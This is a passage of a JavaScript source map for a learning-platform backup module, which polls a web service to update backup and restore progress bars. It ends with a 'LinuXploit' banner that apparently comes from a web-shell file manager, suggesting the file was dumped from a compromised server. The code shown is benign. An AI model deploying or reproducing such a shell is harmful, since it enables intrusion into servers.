{\n        ajax.call([{\n            // Get the backup progress via webservice.\n            methodname: 'core_backup_get_async_backup_progress',\n            args: {\n                'backupids': [backupid],\n                'contextid': contextid\n            },\n        }], true, true, false, timeout)[0].done(function(response) {\n            // We have the progress now update the UI.\n            updateProgress(response[0]);\n            checkdelay = checkdelayoriginal;\n            backupintervalid = updateInterval(backupintervalid, getBackupProgress, checkdelayoriginal);\n        }).fail(function() {\n            checkdelay = checkdelay * checkdelaymultipler;\n            backupintervalid = updateInterval(backupintervalid, getBackupProgress, checkdelay);\n        });\n    }\n\n    /**\n     * Get the progress of all backup processes via ajax.\n     */\n    function getAllBackupProgress() {\n        var backupids = [];\n        var progressbars = $('.progress').find('.progress-bar').not('.complete');\n\n        progressbars.each(function() {\n            backupids.push((this.id).substring(0, 32));\n        });\n\n        if (backupids.length > 0) {\n            ajax.call([{\n                // Get the backup progress via webservice.\n                methodname: 'core_backup_get_async_backup_progress',\n                args: {\n                    'backupids': backupids,\n                    'contextid': contextid\n                },\n            }], true, true, false, timeout)[0].done(function(response) {\n                updateProgressAll(response);\n                checkdelay = checkdelayoriginal;\n                allbackupintervalid = updateInterval(allbackupintervalid, getAllBackupProgress, checkdelayoriginal);\n            }).fail(function() {\n                checkdelay = checkdelay * checkdelaymultipler;\n                allbackupintervalid = updateInterval(allbackupintervalid, getAllBackupProgress, checkdelay);\n            });\n        } else {\n            clearInterval(allbackupintervalid); // No more progress bars to update, stop checking.\n        }\n    }\n\n    /**\n     * Get status updates for all backups.\n     *\n     * @public\n     * @param {number} context The context id.\n     */\n    Asyncbackup.asyncBackupAllStatus = function(context) {\n        contextid = context;\n        allbackupintervalid = setInterval(getAllBackupProgress, checkdelay);\n    };\n\n    /**\n     * Get status updates for backup.\n     *\n     * @public\n     * @param {string} backup The backup record id.\n     * @param {number} context The context id.\n     * @param {string} restore The restore link.\n     * @param {string} type The operation type (backup or restore).\n     */\n    Asyncbackup.asyncBackupStatus = function(backup, context, restore, type) {\n        backupid = backup;\n        contextid = context;\n        restoreurl = restore;\n\n        if (type == 'backup') {\n            typeid = 'backup';\n        } else {\n            typeid = 'restore';\n        }\n\n        // Remove the links from the progress bar, no going back now.\n        $('.backup_progress').children('a').removeAttr('href');\n\n        //  Periodically check for progress updates and update the UI as required.\n        backupintervalid = setInterval(getBackupProgress, checkdelay);\n\n      };\n\n      return Asyncbackup;\n});\n"],"file":"async_backup.min.js"}

Youez - 2016 - github.com/yon3zu
LinuXploit